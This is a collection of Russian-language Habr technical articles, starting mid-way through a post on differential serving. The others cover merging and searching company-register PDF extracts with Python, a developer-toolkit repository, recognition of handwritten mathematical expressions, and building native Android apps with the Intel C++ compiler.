Однако есть довольно весомое «НО». Скоро [Google уберет из браузера Chrome строку 'user-agent'](https://habr.com/ru/company/dcmiran/news/t/494362/), а вслед за ним последуют и остальные браузеры.
Поэтому есть подозрения, что *browserslist-useragent* проживет недолго, а ему на смену придет [Client Hints API](https://github.com/WICG/ua-client-hints).
Differential serving vs. polyfill service
-----------------------------------------
Первый вопрос, который возникает при знакомстве с Differential Serving — есть ли аналоги?
Более-менее похожий метод — [polyfill service](https://polyfill.io/v3/). Также есть различные npm-пакеты, которые частично похожи на polyfill service.
Polyfill service — сервис, который принимает запрос на набор функций браузера и возвращает только те полифиллы, которые необходимы запрашивающему браузеру.
Кратко разберем его плюсы и минусы.
Плюсы:
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) кэширование полифиллов
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) доступно для всех браузеров
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) контроль (user-agent)
Минусы:
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) не предлагает решения для es6+
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) дополнительный запрос
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) содержит ошибки реализации
Минусы тут довольно весомые — не каждая команда захочет привнести в свое приложение дополнительный блокирующий запрос; решение ниже es6, а также ошибки реализации из-за того, что комьюнити не такое большое, а исправляются ошибки медленно.
Но и у Differential Serving есть свои плюсы и минусы.
Плюсы:
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) оптимизирует транспилирование, полифиллинг
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) минимум полифиллов
![](https://habrastorage.org/r/w1560/webt/dc/66/1a/dc661awlkmqxkswodfew9vibhcm.png) минимум проблем в обслуживании
Минусы:
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) время кэширования
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) настройка webpack, babel
![](https://habrastorage.org/r/w1560/webt/me/qr/mc/meqrmc6qq6c6rej3ttcl832x1ge.png) увеличивается время сборки
Стоит прокомментировать минусы. Время кэширования зависит от того, как вы настроите свой бандл. А настройка webpack для кого-то тоже может стать проблемой. Время сборки увеличивается, так как нужно собирать два бандла, но можно настроить так, чтобы второй бандл собирался уже перед выкаткой на прод и не тратить на него время.
Результирующее сравнение можно посмотреть в таблице ниже или в [статье](https://medium.com/@imdongchen/differential-serving-vs-polyfill-service-how-to-best-serve-modern-and-legacy-browsers-e5bb40ba73e8).
![](https://habrastorage.org/r/w1560/webt/6-/qw/4l/6-qw4l-88nol4jiqtmkcwlzzggk.png)
Итог
----
Как известно, Microsoft в следующем году [перестанет поддерживать IE](https://techcommunity.microsoft.com/t5/microsoft-365-blog/microsoft-365-apps-say-farewell-to-internet-explorer-11-and/ba-p/1591666), но это не значит, что разработчики перестанут поддерживать свои приложения под IE. Мем смешной — ситуация страшная :(
Differential Serving кажется многообещающим методом, хоть и со своей спецификой и некоторыми недостатками. Зато он позволяет уменьшить бандл на ~ [20%](https://web-standards.ru/articles/speed-up-with-browserslist/).
Вернемся к истории о нашей команде: мы хотели оптимизировать бандл, но нужно было поддерживать IE. И вот, найдя Differential Serving, мне хотелось его опробовать на реальном проекте. Поговорила с менеджерами, они долго совещались и в итоге решили отказаться от поддержки IE, так как пользователей, использующих его уже мало, а поддержки слишком много)
![](https://habrastorage.org/r/w1560/webt/md/d9/lo/mdd9lommuy-l65g6ag7fm-vzkoi.png)
**Используемые и полезные ссылки:**
* [Модули через замыкания](https://learn.javascript.ru/closures-module)
* [Module в es6](https://learn.javascript.ru/modules-intro)
* [Исследование по differential Serving с примерами браузеров](https://github.com/johnstew/differential-serving)
* [Интересный подкаст](https://shoptalkshow.com/347/)
* [Differential Serving Pattern](https://jeremy.codes/blog/a-less-risky-differential-serving-pattern/)
* [Differential serving vs. polyfill service: How to best serve modern and legacy browsers](https://medium.com/@imdongchen/differential-serving-vs-polyfill-service-how-to-best-serve-modern-and-legacy-browsers-e5bb40ba73e8)
* [Differential Serving — Serve legacy code to old browsers and ES6 code to modern browsers](https://medium.com/@suncommander/differential-serving-serve-legacy-code-to-old-browsers-and-es6-code-to-modern-browsers-bbd4152cf979)
* [Differential Serving](https://dev.to/thejohnstew/differential-serving-3dkf) | https://habr.com/ru/post/531404/ | null | ru | null |
# Проверяем сведения о недостоверности в выписках из ЕГРЮЛ. Склеиваем pdf на python
В настоящее время весьма актуальной темой остается возможность налогового органа исключить из ЕГРЮЛ общество всего лишь ”выявив” в отношении компании так называемые недостоверные сведения. Как показывает статистика с сентября 2018 года ФНС исключила из ЕГРЮЛ 90 тысяч организаций с записью о недостоверности сведений о руководителе, учредителе или адресе юрлица. Обнаружить тот факт, что в отношении компании имеются недостоверные сведения можно лишь просмотрев выписку из ЕГРЮЛ.
Выглядит это примерно следующим образом:
![](https://habrastorage.org/r/w1560/webt/uw/3h/fv/uw3hfvtuypwcvshgdlhyr8tu74g.png)
Проблема усугубляется тем, что данные о недостоверности могут появиться как по заявлению заинтересованного лица так и “сами по себе”, в результате действий налогового органа. Чтобы обезопасить себя от внезапного вылета из ЕГРЮЛ выписки требуется получать регулярно. Как это делать быстро и безболезненно при наличии в холдинге большого количества компаний, мы разобрали в предыдущем [посте](https://habr.com/ru/post/455808/).
В этот раз разберем как искать сведения о недостоверности в выписках ЕГРЮЛ.
Будем считать, что у нас имеется n-е количество выписок, которые мы скачали с сайта ФНС. Выписки имеют расширение .pdf и какие-то наименования.
Все, что от нас требуется это осуществить поиск по слову “недост” в каждом pdf файле.
Открывать каждый pdf файл с выпиской и производить поиск не наш метод. Это может занять избыточно много времени. Можно склеить все файлы в Abbyy Finereader, но это тоже займет достаточно времени.
Напишем программу, которая склеит все pdf файлы в один. Python позволяет это сделать за секунды!
В дальнейшем мы сможем открыть созданный файл и провести поиск по требуемому слову сразу по всем выпискам из ЕГРЮЛ.
Начнем.
\*Выписки из ЕГРЮЛ у нас находятся в директории С:\1.
В новом файле python импортируем модули для работы с pdf и системой в целом:
```
import PyPDF2, os
```
Далее создаем пустой список и перемещаемся в директорию C:\1, в которой будут находиться все наши выписки.
Данная директория не обязательно должна быть пустая. В программе мы предусмотрели обработку только тех файлов, которые имеют расширение pdf:
```
pdfFiles = []
os.chdir('C:\\1')
for filename in os.listdir('.'):
if filename.endswith('.pdf'):
pdfFiles.append(filename)
pdfFiles.sort()
```
Следующий блок склеивает выписки между собой, добавляя каждую последующую выписку в конец:
```
pdfWriter = PyPDF2.PdfFileWriter()
# Loop through all the PDF files.
for filename in pdfFiles:
pdfFileObj = open(filename, 'rb')
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
# Loop through all the pages and add them.
for pageNum in range(0, pdfReader.numPages):
pageObj = pdfReader.getPage(pageNum)
pdfWriter.addPage(pageObj)
```
Осталось только сохранить результат:
```
pdfOutput = open('all.pdf', 'wb')
pdfWriter.write(pdfOutput)
pdfOutput.close()
```
Итак, после работы программы, мы получили файл all.pdf, по которому уже можно искать требуемую информацию о недостоверности сведений.
Скачать программу для склейки pdf в один – [здесь](https://yadi.sk/i/eg4Vzccm21o-GA).
### Продолжение от 08.11.2019
**Нарезаем выписки ЕГРЮЛ, сохраняя от каждой выписки первые 4 страницы.**
Сведения о недостоверности о юр. лице попадают в разные части выписки ЕГРЮЛ.
В конце выписки содержатся записи о недостоверности, которые были аннулированы налоговой.
Таким образом прогонять программу по целым выпискам ЕГРЮЛ вряд ли целесообразно: программа найдет и эти устаревшие записи.
Поэтому нарежем с помощью pyhton скачанные выписки ЕГРЮЛ, сохраняя от каждой первые 4 страницы. Как правило, этих страниц достаточно, чтобы найти признаки недостоверности в адресе или единоличном исполнительном органе.
Переместим все скачанные ранее выписки (pdf файлы) в условную папку по пути 'C:\1\2'и выполним код python:
```
#! python3
import PyPDF2, os
from datetime import datetime
start = datetime.now()
os.chdir('C:\\1\\2')
pdfFiles = []
for filename in os.listdir('.'):
if filename.endswith('.pdf'):
pdfFiles.append(filename)
pdfFiles.sort()
pdfWriter = PyPDF2.PdfFileWriter()
# Loop through all the PDF files.
for filename in pdfFiles:
pdfFileObj = open(filename, 'rb')
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
# Loop through all the pages and add them.
for pageNum in range(0, 4):
pageObj = pdfReader.getPage(pageNum)
pdfWriter.addPage(pageObj)
# Save the resulting PDF to a file.
pdfOutput = open('all-small.pdf', 'wb')
pdfWriter.write(pdfOutput)
pdfOutput.close()
print(datetime.now()- start)
```
На выходе мы получим выписки ЕГРЮЛ, склеенные в единый pdf файл — «all-small.pdf». При чем от каждой выписки будут только первые 4 страницы.
Теперь прогоним «all-small.pdf» через поиск фразы «недостов»:
```
#!/usr/bin/python
import fitz,os
filename = "all-small.pdf"
search_term = "недостов"
pdf_document = fitz.open(filename)
for current_page in range(len(pdf_document)):
page = pdf_document.loadPage(current_page)
if page.searchFor(search_term):
print("%s найдено на странице %i" % (search_term, current_page+1))
```
Программа работает заметно быстрее, чем поиск в едином склееном pdf файле через 'Аcrobat reader' и при этом выводит в терминал страницы, на которых были найдена недостоверность. | https://habr.com/ru/post/456060/ | null | ru | null |
# Коллекция инструментариев разработчиков
Привет! Мне всегда было интересно узнавать, чем пользуются мои коллеги-разработчики. Круто находить незнакомую иконку на скриншоте в статье или в скринкасте очередного доклада.
Не менее интересно то, какие источники помогают разработчикам получать актуальную информацию (RSS подписки, список подкастов, любимые книги)
Я решил посвятить этой теме небольшой домашний проект и создать открытую коллекцию с инструментариями разработчиков. Это репозиторий на GitHub куда любой может добавить свой набор полезных программ. Из репозитория я генерирую сайт и RSS.
Чтобы добавить свой инструментарий нужно описать его в файле с простым микроформатом. Выглядит он примерно так:
```
name: Nikolay Garmash
occupation: Software Engineer
> WebStorm
Couple of installed plugins…
```
Можно добавлять картинки, ссылки, заголовки и описания. Подробно синтаксис описан в [README](https://github.com/nik-garmash/works-for-me/blob/master/README.md).
* [Репозиторий проекта](https://github.com/nik-garmash/works-for-me/)
Новые коммиты и любые комментарии очень приветствуются! | https://habr.com/ru/post/333584/ | null | ru | null |
# Распознавание рукописных математических выражений
*Здравствуй, Хабр!
В этой статье я хочу поделиться опытом распознавания рукописных математических выражений. Хотя уже и существуют такие средства распознавания рукописных формул как «Панель математического ввода» mip.exe в Windows7, разнообразие подходов к решению данной проблемы не может не впечатлять. Об одном из таких подходов я и собираюсь рассказать.*
[![](https://habrastorage.org/storage/habraeffect/55/90/5590bf6c9a95075468bed532d3fd7f5b.PNG)](https://habrastorage.org/storage/habraeffect/55/90/5590bf6c9a95075468bed532d3fd7f5b.PNG "Хабрэффект.ру")
Небольшое введение
------------------
Распознавание математических выражений является более сложным видом распознавания, нежели распознавание символов, так как кроме распознавания непосредственно математического символа необходимо также распознать структуру математического выражения.
В он-лайн распознавании рукописного математического выражения обычно выделяют следующие стадии:
1. Сбор и предварительная обработка данных:
[![](https://habrastorage.org/storage/habraeffect/7b/e6/7be6f80c54de11bacf5c3181f03a1ef6.JPG)](https://habrastorage.org/storage/habraeffect/7b/e6/7be6f80c54de11bacf5c3181f03a1ef6.JPG "Хабрэффект.ру")
2. Разделение выражения на символы (сегментация выражения):
[![](https://habrastorage.org/storage/habraeffect/fe/12/fe123f04c00672e24c54b1c0c247bd87.JPG)](https://habrastorage.org/storage/habraeffect/fe/12/fe123f04c00672e24c54b1c0c247bd87.JPG "Хабрэффект.ру")
3. Рапознавание отдельных символов:
[![](https://habrastorage.org/storage/habraeffect/4a/58/4a58bda992733eea994f5cec2f1ba8a3.JPG)](https://habrastorage.org/storage/habraeffect/4a/58/4a58bda992733eea994f5cec2f1ba8a3.JPG "Хабрэффект.ру")
4. Распознавание структуры математического выражения:
[![](https://habrastorage.org/storage/habraeffect/02/31/023175f629154a127dc685930c91a3bf.JPG)](https://habrastorage.org/storage/habraeffect/02/31/023175f629154a127dc685930c91a3bf.JPG "Хабрэффект.ру")
За десятилетия иследований в области распознавания математических выражений придумано огромное количество алгоритмов и теории. Я же расскажу о простом подходе, который, тем не менее, дает хороший результат. Он предполагает, что стадии 1, 2 и 3 работают вместе, и на выходе дают список символов, который распознается как математическое выражение на стадии 4.
Сбор и предварительная обработка данных
---------------------------------------
Первым шагом является сбор и предварительная обработка данных. Обучающее множество для конкретного класса символов состоит из множества символов. Символ является упорядоченным набором росчерков, а росчерк является упорядоченным набором пар (x,y), где первая пара соответствует точке касания пера, а последняя — точке отрыва. Каждый символ рисуется определенным количеством росчерков в определенном порядке.
Целью предварительной обработки данных является преобразование «сырых» данных росчерков в формат, который позволяет создать модель символа с целью его дальнейшей классификации. Для упрощения модели необходимо удалить ту информацию, которая не нужна при классификации. Начальное множество росчерков преобразуется в вектор определенной и жестко фиксированной размерности.
**Масштабирование, сдвиг и изменение количества опорных точек**
Каждая точка каждого росчерка сдвигается так, что начальная точка является верхним левым углом ограничивающей рамки символа. После этого все точки масштабируются с сохранением отношения ширины к высоте так, что символ помещается внутри квадрата. Далее, набор точек каждого росчерка изменяется так, чтобы точки располагались равноудаленно (передискретизация по длине дуги методом линейной интерполяции). Количество точек фиксировано и равно 36/N, где N – количество росчерков в символе (36 делится на 1, 2, 3 и 4, где 4 — максимальное количество росчерков в одном символе).
В завершение, координаты точек собираются в единый вектор из 72 элементов, где первые 36 элементов представляют координаты по x, а последние — координаты по y.
[![](https://habrastorage.org/storage/habraeffect/cc/d8/ccd8e74745304b42e795150cc8078ed2.PNG)](https://habrastorage.org/storage/habraeffect/cc/d8/ccd8e74745304b42e795150cc8078ed2.PNG "Хабрэффект.ру")
**Что мы получили?**
А получили мы набор векторов одной размерности, где каждому классу символов соответствует определенное количество векторов. Эту информацию можно использовать, например, для обучения нейронной сети, или для распознавания символа по алгоритму k-ближайших соседей.
*На самом деле, размерность вектора можно уменьшить в несколько раз, при этом не потеряв практически никакой информации. Алгоритм этот назвается «Метод главных компонент».*
В итоге было создано следующее *нечто* для обучения классификатора:
[![](https://habrastorage.org/r/w1560/storage/habraeffect/0b/e5/0be51e85133f49c6dd3e32cde5d202a7.png)](https://habrastorage.org/storage/habraeffect/0b/e5/0be51e85133f49c6dd3e32cde5d202a7.png "Хабрэффект.ру")
Сегментация и распознавание отдельных символов
----------------------------------------------
Классификатор распознает символы по отдельности. Однако, когда необходимо распознавать потоковый ввод, он не может заранее знать, какие росчерки составляют символ, и сколько символов всего введено. Следовательно, возможности классификатора необходимо дополнить определением количества и расположения символов выражения. Решение этой проблемы эквивалентно наилучшей группировке росчерков в символы, называемой сегментацией выражения.
Предположим, что введенные росчерки упорядочены по времени, то есть при вводе символа, состоящего из трех росчерков, последовательно вводятся росчерки данного символа. Например, не допускается ставить точку над символом *i* после написания символов, которые следуют после *i*. С учетом данного предположения, для определения символов, состоящих из нескольких росчерков, необходимо последовательно рассматривать группы росчерков, размером от 1 до N (N в нашем случае равно 4). Если символ из нескольких росчерков распознается классификатором с ошибкой, меньшей определенного порога, то отдается предпочтение данному символу. При этом количество рассматриваемых комбинаций равняется *F(N)=O(kN)*. В случае, если ни один из результатов классификации не превосходит порогового значения, пороговое значение увеличивается и шаг повторяется, либо возникает ошибка распознавания.
Необходимо отметить, что некоторые символы, которые невозможно распознать как различные (например, знаки минуса и дроби), обозначаются как один символ (горизонтальная черта), который переименуется в ходе структурного анализа.
Алгоритм сегментации можно улучшить, если для каждого количества росчерков определить допустимые символы. Так, два росчерка не могут быть распознаны как символ, состоящий из одного или трех росчерков.
[![](https://habrastorage.org/storage/habraeffect/85/05/8505ea72d048b17fc2588e962b1ebb6f.PNG)](https://habrastorage.org/storage/habraeffect/85/05/8505ea72d048b17fc2588e962b1ebb6f.PNG "Хабрэффект.ру")
Также при реализации данного алгоритма для того, чтобы предотвратить возможные ошибки сегментации, необходим интерфейс, позволяющий мгновенно исправить некорректный результат, или отменить ввод последнего символа.
**Разрешение неоднозначностей**
Классификатор не может знать, ввели ли мы символ «минус» или символ «дробь». Для этого необходима дополнительная проверка. Так, на определенном расстоянии вверх и вниз от черты символа «минус» не будет расположено никаких росчерков, а у символа «дробь» — будут. На основании этого производится переименование символа «черта» в символ «минус» или «дробь» соответственно. Практически аналогично — с десятичной точкой и знаком умножения.
Теперь, наконец, перейдем к распознаванию структуры выражения :-)
Распознавание структуры выражения
---------------------------------
**Области и атрибуты символов**
Отношения математических операторов определяются в зависимости от позиции и относительного размера символа в выражении. Для определения отношений используются пространственные области «сверху слева», «сверху», «верхний индекс», «нижний индекс», «снизу», «снизу слева» и «подвыражение». Например, ожидается, что операнды (числитель и знаменатель) горизонтальной линии (оператора дроби) будут лежать в областях «сверху» и «снизу» относительно горизонтальной линии
[![](https://habrastorage.org/storage/habraeffect/8e/65/8e65b6ce1dd47da9af45d39cc1dac8c3.PNG)](https://habrastorage.org/storage/habraeffect/8e/65/8e65b6ce1dd47da9af45d39cc1dac8c3.PNG "Хабрэффект.ру")
Исходя из простых атрибутов (верхняя граница, правая граница, и т.д.), можно определить порог верхнего индекса, порог нижнего индекса и прочие атрибуты. Это численные атрибуты, которые используются для отделения областей вокруг символа. Также исходя из простых атрибутов можно определить центральную точку.
Центральная точка — это точка, которая определяет расположение символа в какой-либо из областей. Для определения атрибутов символа, символ классифицируется как с надстрочным элементом, с подстрочным элементом или центральный.
[![](https://habrastorage.org/storage/habraeffect/14/a8/14a864ee42873f7dbd764954e12f2248.PNG)](https://habrastorage.org/storage/habraeffect/14/a8/14a864ee42873f7dbd764954e12f2248.PNG "Хабрэффект.ру")
Каждый класс символов имеет по-разному определяемые атрибуты. Это необходимо для того, чтобы избежать неоднозначностей при структурном анализе:
[![](https://habrastorage.org/storage/habraeffect/89/4a/894a6c889709f98c3a5f4136ec6e6738.PNG)](https://habrastorage.org/storage/habraeffect/89/4a/894a6c889709f98c3a5f4136ec6e6738.PNG "Хабрэффект.ру")
**Базовая линия выражения**
Базовая линия — это список, который представляет горизонтальное расположение символов в выражении. Каждый символ имеет ссылки на другие базовые линии, которые удовлетворяют различным пространственным отношениям.
[![](https://habrastorage.org/storage/habraeffect/e1/1d/e11d9152bb4893c0c2e668e05f8bb7c0.PNG)](https://habrastorage.org/storage/habraeffect/e1/1d/e11d9152bb4893c0c2e668e05f8bb7c0.PNG "Хабрэффект.ру")
**Доминирование символов и доминирующая базовая линия**
Доминирование определяется следующим образом: символ s доминирует над символом a, если a лежит в области s, а s не лежит в области a. Однако, оба символа могут лежать в областях друг друга. В итоге, вычисление функции `dominates(s,a)` производится следующим образом (каждый последующий шаг выполняется, если на предыдущем не удалось определить, какой символ доминирует над каким):
1. Проверка геометрического расположения символов.
2. Проверка класса символа. Например, символ дроби будет доминировать над символом цифры.
3. Проверка относительных размеров символа
Если имеется упорядоченный список символов *L*, то можно определить крайний левый доминирующий символ в списке путем выполнения следующей рекурсивной процедуры:
`getDominantSymbol(L):1. Пусть n = length(L) — количество символов в списке.
2. Если n==1, вернуть s(n)
3. Если s(n) доминирует над s(n-1) , удалить s(n-1) из L, иначе удалить s(n)
4. Вернуть getDominantSymbol(L).`
Доминирующая базовая линия выражения — это базовая линия, на которую не ссылается никакой символ. Во время чтения математического выражения обычно сначала производится поиск крайнего левого доминирующего символа, затем следующего за ним доминирующего символа, и так далее, пока не будут найдены все символы базовой линии.
Структура данных, которая представляет выражение, называется деревом базовых линий. Предположим, у нас есть выражение
[![](https://habrastorage.org/storage/habraeffect/3a/17/3a17e921052bd6a39d866f02b85d0d21.PNG)](https://habrastorage.org/storage/habraeffect/3a/17/3a17e921052bd6a39d866f02b85d0d21.PNG "Хабрэффект.ру")
Тогда дерево базовых линий этого выражения будет иметь следующий вид:
[![](https://habrastorage.org/storage/habraeffect/42/0a/420a713f7f5f095a169865075ad5b243.PNG)](https://habrastorage.org/storage/habraeffect/42/0a/420a713f7f5f095a169865075ad5b243.PNG "Хабрэффект.ру")
Доминирующую базовую линию Db конструируем с помощью следующей функции:
`constructDominantBaseline(Db,L):
1. Если Db пусто, то Db = addSymbol(Db,getDomninantSymbol(L))
2. s = getLastSymbol(Db)
3. Создать список Hs = getRightNeighbors(s,L) символов из L, которые являются правыми горизонтальными соседями символа s
4. Если Hs пуст, выйти
5. Найти доминирующий символ среди символов из Hs, sd = getDominantSymbol(Hs)
6. Db = addSymbol(Db,sd)
7. Рекурсия: constructDominantBaseline(Db,L)`
Дерево базовых линий создается рекурсивным нахождением доминирующих базовых линий в выражении, описанном упорядоченным списком символов L.
`ConstructBaselineTree(L):
1. Если L пуст, выход
2. Инициализация Db
3. constructDominantBaseline(Db,L)
4. Обновить Db, сгруппировав символы, определяющие имена функций и операторов
5. Для каждого символа s из Db создать новые списки символов с потомками, в зависимости от того, каким пространственным отношениям они удовлетворяют, и создать ссылки на эти списки
6. L = Db
7. Для каждого символа использовать рекурсию, применяя процедуру constructBaselineTree к каждому из списков-потомков, полученных на шаге 5`
Полученное дерево представляет собой структуру математического выражения, и ее, распарсив, можно преобразовать в код формульного редактора. В моем случае это редактор OpenOffice.
Что из этого всего получилось
-----------------------------
А ~~получилась GLaDOS~~ получилось из этого алгоритма приложение, которое, хоть и не лишено способности совершать ошибки в распознавании отдельных символов, но может на лету распознать достаточно сложные математические выражения. Вот так оно выглядит:
[![](https://habrastorage.org/r/w1560/storage/habraeffect/00/c5/00c55810349d4e1e79de2b4d06d449dc.png)](https://habrastorage.org/storage/habraeffect/00/c5/00c55810349d4e1e79de2b4d06d449dc.png "Хабрэффект.ру")
И может распознавать, хоть иногда и не без ошибок, вот такие формулы (а кто первый найдет ошибку распознавания символа — тот молодец :-)
[![](https://habrastorage.org/r/w780q1/storage/habraeffect/30/d2/30d25ac83db5b9d45d9dc7d8b7070d4d.jpg)](https://habrastorage.org/storage/habraeffect/30/d2/30d25ac83db5b9d45d9dc7d8b7070d4d.jpg "Хабрэффект.ру")
Эпилог
------
Вот и закончилась моя первая статья на Хабре. Надеюсь, она не была очень занудной, и будет кому-то полезной! Благодарю за внимание!
Литература:
1. Nicholas Matsakis. Recognition of handwritten mathematical expressions. Master’s thesis, Massachusetts Institute of Technology, Cambridge, MA, May 1999.
2. Ernesto Tapia: Understanding Mathematics: A System for the Recognition of On-Line Handwritten Mathematical Expressions, Berlin, 2004
3. Eva Gallardo Perez: 2D Grammar Extension of the CMP Mathematical Formulae On-line Recognition System, Research Reports of CMP, Czech Technical University in Prague, No. 3, 2009 | https://habr.com/ru/post/120159/ | null | ru | null |
# Создание нативных Android-приложений с использованием компилятора Intel C++ Compiler в Android Studio 1.0.1
[![](https://habrastorage.org/r/w1560/files/736/8ea/7ee/7368ea7ee0ef4d808d23cb5d109fbae2.png)](http://habrahabr.ru/company/intel/blog/260003/) На момент написания этого текста текущей версией Android Studio была версия 1.0.1. Компилятор Intel C++ Compiler for Android, будучи частью Intel Integrated Native Developer Experience (Intel INDE), поддерживает Android Studio 1.0.1 в Intel INDE 2015 Update 1. Поскольку Android Studio 1.0.1 не поддерживает Android NDK, в этой статье описаны шаги для создания нативного Android-приложения с использованием Android NDK r10d и компилятора Intel C++ Compiler for Android. Поехали!
Android Studio в качестве системы сборки использует [Gradle](http://gradle.org/). На момент написания статьи Gradle в процессе сборки вызывала систему NDK. В Android NDK r10 и более поздней версии после инсталляции Intel INDE компилятор Intel C++ Compiler for Android (ICC) не является более используемым по умолчанию компилятором в системе сборки NDK.
Представленные ниже шаги дают общее описание подготовки, сборки и выполнения нативного приложения в Android Studio 1.0.1.
Если вы используете Android Studio 0.8.6, почитайте статью «[Сборка нативных Android-приложений с использованием компилятора Intel C++ Compiler в Android Studio](https://software.intel.com/ru-ru/articles/building-native-android-apps-using-intelr-c-compiler-in-android-studio)», где рассказывается о применении Intel C++ Compiler.
Требуемые программные инструменты
---------------------------------
Успешная инсталляция INDE 2015 Update 1 с Android Studio Integration гарантирует, что вы располагаете всем необходимым программным обеспечением. Детальные требования к программному обеспечению и системе описаны в документе [Intel C++ Compiler Release Notes for Intel Integrated Native Developer Experience 2015](https://software.intel.com/en-us/articles/intel-c-compiler-release-notes-for-intel-integrated-native-developer-experience-2015).
Приведенные в данной статье инструкции предполагают использование следующего ПО для архитектуры IA-32 и Intel-64:
* Oracle JDK 7 (нативный Intel-64 JDK для систем Windows x64)
* Android SDK 20 или старше
* NDK r10d (предполагается инсталляция в [ndk-dir] )
* Android Studio 1.0.1
Убедитесь, что в переменную среды PATH добавлены следующие директории Android NDK (если они отсутствуют, добавьте):
* C:\Intel\INDE\IDEintegration\NDK\build\tools
* C:\Intel\INDE\IDEintegration\NDK
Использование компилятора Intel C++ Compiler в Android Studio 1.0.1
--------------------------------------------------------------------
После инсталляции Intel C++ Compiler 15.0 for Android в папку «[ndk-dir]\toolchains» (директория по умолчанию – «C:\Intel\INDE\IDEintegration\android-ndk-r10d\toolchains») устанавливаются следующие элементы:
* x86-icc
* x86-icc15.0.X.YYY
* x86\_64-icc (если NDK поддерживает 64-разрядные цели)
* x86\_64-icc15.0.X.YYY (если NDK поддерживает 64-разрядные цели)
**Для NDK до r9d:** после инсталляции нативным компилятором C/C++ будет Intel C++ Compiler. Дополнительных шагов для использования Intel C++ Compiler с Android Studio не требуется. Ели вы хотите для построения нативного кода использовать GNU gc, следуйте инструкциям в «[Замена компилятора по умолчанию с Intel C++ Compiler на GCC для целевых приложений x86](https://software.intel.com/en-us/articles/Changing-the-default-compiler-back-from-Intel-C++-Compiler-to-GCC-for-x86-targets)».
**Для NDK r10 — r10d:** компилятор Intel C++ после инсталляции не является компилятором по умолчанию. Чтобы использовать Intel C++ Compiler из Android Studio, следуйте шагам 3, 4, 5 ниже.
Если у вас установлено несколько Android NDK, следуйте инструкциям в статье «[Интеграция Intel C++ Compiler for Android с несколькими Android NDK](https://software.intel.com/en-us/articles/intergrading-the-intelr-c-compiler-for-android-with-mutiple-android-ndks)».
Теперь создадим новый проект Android для Intel-64 с нативным вызовом функции, продемонстрировав тем самым использование компилятора Intel C++ Compiler:
### 1. Создание нового проекта Android с нативным интерфейсом:
**1.** Откройте Android Studio, создайте новый Android-проект «nativeDemo» с параметрами по умолчанию, например:
![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/cc9/d4b/bd7/cc9d4bbd7fd0195bef15646080378179.png)
**2.** Откройте «app\src\main\java\MainActivity.java» и добавьте в конец класса «MainActivity» нативную функцию как показано ниже:
```
public native String getStringFromNative();
```
Должно получиться примерно так:
![](https://habrastorage.org/r/w1560/files/3cc/c02/f9d/3ccc02f9d96344b2adf3cc73d196a1d1.png)
**3.** Чтобы создать проект «nativeDemo», выберите: «Build > Make Project», после чего можно будет использовать «javah».
**4.** В «View > Tools Windows > Terminal» откройте терминальное окно и выполните указанные ниже шаги для запуска «javah» и создания заголовка jni:
**a)** В терминальном окне перейдите в подпапку «src\main»:
```
cd src\main
```
**b)** Чтобы создать «com\_example\_nativedemo\_app\_MainActivit.h» в папке src\main\jni, выполните следующую команду «javah» cmd:
```
javah -d .\jni -classpath C:\Intel\INDE\IDEintegration\android-sdk-windows\platforms\android-21\android.jar;..\..\build\intermediates\classes\debug com.example.mydemo.nativedemo.MainActivity
```
Пример:
![](https://habrastorage.org/r/w1560/files/360/b0b/ca6/360b0bca6b8c4bc4b7862869e7a6a7d5.png)
**5.** В окне Project измените вид на Project, щелкните правой кнопкой мыши на папке «src» и выберите «Synchronize 'src». Теперь в папке «src\main\jni» можно видеть файл заголовка «com\_example\_mydemo\_nativedemo\_MainActivity.h».
### 2. Добавление нативного исходного кода: main.c
**1.** Создайте «main.c»: выделите файл «com\_example\_mydemo\_nativedemo\_MainActivity.h», используйте волшебные клавиши copy/paste для создания нового «main.c» со следующим кодом:
```
#include "com_example_mydemo_nativedemo_MainActivity.h"
JNIEXPORT jstring JNICALL
Java_com_example_mydemo_nativedemo_MainActivity_getStringFromNative
(JNIEnv * env, jobject obj)
{
#ifdef __INTEL_COMPILER_UPDATE
return (*env)->NewStringUTF(env, "Hello from Intel C++ !");
#else
return (*env)->NewStringUTF(env, "Hello from default C++ !");
#endif
}
```
**2.** Сохраните изменения
**3.** Теперь в папке «jni» у вас два файла: com\_example\_mydemo\_nativedemo\_MainActivity.h и main.c
![](https://habrastorage.org/r/w1560/files/27f/b3d/a8a/27fb3da8a3264d6995e024bea2eafa6d.png)
### 3. Добавление make-файла: Android.mk
**1.** Щелкните правой кнопкой на папке «jni», выберите «New > File»
**2.** Наберите «Android.mk» и щёлкните на «OK»
**3.** Добавьте в этот файл следующие строки (обратите внимание, что строка LOCAL\_SRC\_FILES должна содержать исходные файлы, которые находятся в папке «jni»):
```
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := nativeDemo
LOCAL_SRC_FILES := main.c
include $(BUILD_SHARED_LIBRARY)
```
### 4. Добавление make-файла: Application.mk
**1.** Щелкните правой кнопкой на папке «jni», выберите «New > File»
**2.** Наберите «Application.mk» и щёлкните на «OK»
**3.** Добавьте в этот файл следующие строки:
```
# For IA-32
#APP_ABI:=x86
#NDK_TOOLCHAIN:=x86-icc
#include $(BUILD_SHARED_LIBRARY)
# For Intel-64
APP_ABI:=x86_64
NDK_TOOLCHAIN:=x86_64-icc
include $(BUILD_SHARED_LIBRARY)
```
**4.** [Опционально] Для изменения параметров компилятора используйте следующее:
```
APP_CFLAGS := -O3
```
